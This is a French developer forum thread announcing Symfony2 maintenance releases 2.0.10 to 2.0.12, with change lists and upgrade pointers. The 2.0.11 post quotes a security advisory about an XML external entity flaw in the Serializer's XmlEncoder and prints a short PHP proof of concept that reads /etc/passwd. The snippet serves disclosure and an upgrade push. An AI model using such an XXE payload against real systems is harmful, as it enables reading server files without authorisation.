Discussion :

[kdmbella]

L'équipe de développement de Symfony vient d'annoncer la sortie de la version 2.0.10 de son framework PHP Symfony2.
Cette version comprend les nouveautés suivantes :

• le passage à la version 1.6.0 de Twig qui corrige le bug lié à l'utilisation de Assetic en environnement de production
• la mise à jour de Doctrine à sa dernière version mineur
• et la corrections de plusieurs bugs jugés mineurs

Pour avoir la liste détaillées des nouveautés et bugs corrigés de cette version : lien

Donc si vous débuter un nouveau projets sous Symfony2, c'est avec cette version qu'il faut le faire. Si par contre vous avez déjà un projet que vous voulez Upgrader alors il faut vous référer à la procédure suivante

source : Blog de Symfony2

[sybil]

Donc si vous débuter un nouveau projets sous Symfony2, c'est avec cette version qu'il faut le faire.

c'est ce qu'on raconte chaque fois qu'une nouvelle version sort, loland.

[kdmbella]

c'est ce qu'on raconte chaque fois qu'une nouvelle version sort, loland.

oui c'est un peu normale histoire de ne pas débuter un projet avec une version dont les failles sont connues et exploitables à de mauvaise fin.

[kdmbella]

La version 2.0.11 du framework PHP Symfony2 vient de sortir : il s'agit d'une Security Release, en d'autres termes d'un correctif important de sécurité. Elle contient un correctif important concernant une vulnérabilité du composant Serializer et d'autres correctifs mineurs . Il est donc fortement conseillé à tous ceux utilisant ce composant de rapidement effectuer une mise à jour.

La vulnérabilité faisant l'objet de cette Relase est la suivante :

"The XMLEncoder component of Symfony 2.0.x fails to disable external entities when parsing XML. In the Symfony2 framework the XML class may be used to deserialize objects or as part of a client/server API. By using external entities it is possible to include arbitrary files from the file system."

et une exploitation de celle-ci est la suivante :

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
3
4
5
6
7
8
9
10
11
12

$serializer = new Serializer(array(), array(
    'xml' => new \Symfony\Component\Serializer\Encoder\XmlEncoder()
));

$x = $serializer->decode('<?xml version="1.0"?><!DOCTYPE scan
[<!ENTITY test SYSTEM
"php://filter/read=convert.base64-encode/resource=/etc/passwd">]><scan>&test;</scan>',
'xml');

var_dump($x);

et dans ce cas ,$x contient maintenant une copy de /etc/passwd encodé en base64.

Pour avoir la liste de tous les changements de cette version il suffit de se rendre à la page

Donc si vous débuter un nouveau projet sous Symfony2, c'est avec cette version qu'il faut le faire. Si par contre vous avez déjà un projet que vous voulez Upgrader alors il faut vous référer à la procédure décrite à cette page

Source : Blog de Symfony2

[kdmbella]

La version 20.0.12 de Symfony 2 est désormais disponible. Cette version comporte un ensemble de corrections de bugs dont les principales concernent:

• La recherche IPv6 dans le Webprofiler
• la corretion des bugs liés au TimeZone dans les dates
• la mise à jour du HttpCache.php
• la correction de la conversion Array to string lors de l'usage de PHP 5.4
• la correction de la génération de proxy lors de l'usage des versions de Doctrine >= 2.2.0
• la correction des fuites mémoire lié à l'autoload au niveau des tests
• ....

Pour une liste complète des changements dans cette version, bien voiloir consulter cette page.

C'est donc cette version qui est celle à considérer lorsqu'on débute un nouveau projet basé sur Symfony 2. Les instructions pour migrer vers cette version sont disponibles à la page suivante

Source : blog de Symfony